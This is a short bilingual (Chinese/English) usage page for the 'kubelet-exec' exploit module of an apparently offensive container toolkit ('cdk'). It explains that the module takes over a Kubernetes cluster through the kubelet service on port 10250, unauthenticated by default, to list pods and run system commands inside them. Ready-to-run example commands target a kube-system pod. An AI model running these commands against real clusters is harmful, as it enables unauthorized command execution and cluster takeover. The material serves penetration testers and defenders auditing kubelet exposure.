利用kubelet接管K8s集群

Exploit: kubelet-exec

Use the default ‘10250’ port ‘kubelet’ service to list pods running in the cluster.
By default, unauthorized access is supported. The token can be entered optionally.

利用默认10250端口kubelet服务列举集群中运行的pods,支持指定pods执行系统命令并回显。
默认支持未授权访问利用,token可选择性填写。

Usage

./cdk run kubelet-exec (list|exec) <endpoint>/<namespace>/<pod>/<container> <token>

Example

./cdk run kubelet-exec list http://172.16.61.10:10250
./cdk run kubelet-exec exec https://172.16.61.10:10250/kube-system/test1/test "ip addr"